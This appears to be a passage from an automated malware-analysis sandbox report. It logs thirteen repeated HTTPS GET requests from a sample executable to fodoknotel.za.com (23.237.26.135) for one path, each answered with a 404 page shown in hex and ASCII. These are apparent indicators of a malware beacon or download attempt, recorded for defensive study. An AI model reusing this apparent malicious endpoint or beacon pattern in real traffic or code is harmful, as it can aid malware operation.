2025-01-14 07:25:59 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:59 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:59 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:59 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50120	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:00 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:00 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:00 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:00 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50122	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:01 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:01 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:01 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50124	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:02 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:02 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:02 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:02 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50126	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:02 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:03 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:03 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:03 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50128	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:03 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:04 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:04 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50130	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:04 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:04 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:04 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50132	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:05 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:05 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:05 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:05 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50134	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:06 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:06 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:06 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:06 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50136	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:07 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:07 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:07 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:07 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50138	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:08 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:08 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:08 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:08 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50140	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:09 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:09 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:09 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50142	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:09 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:10 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:10 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50144	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:10 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:10 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:10 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:10 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

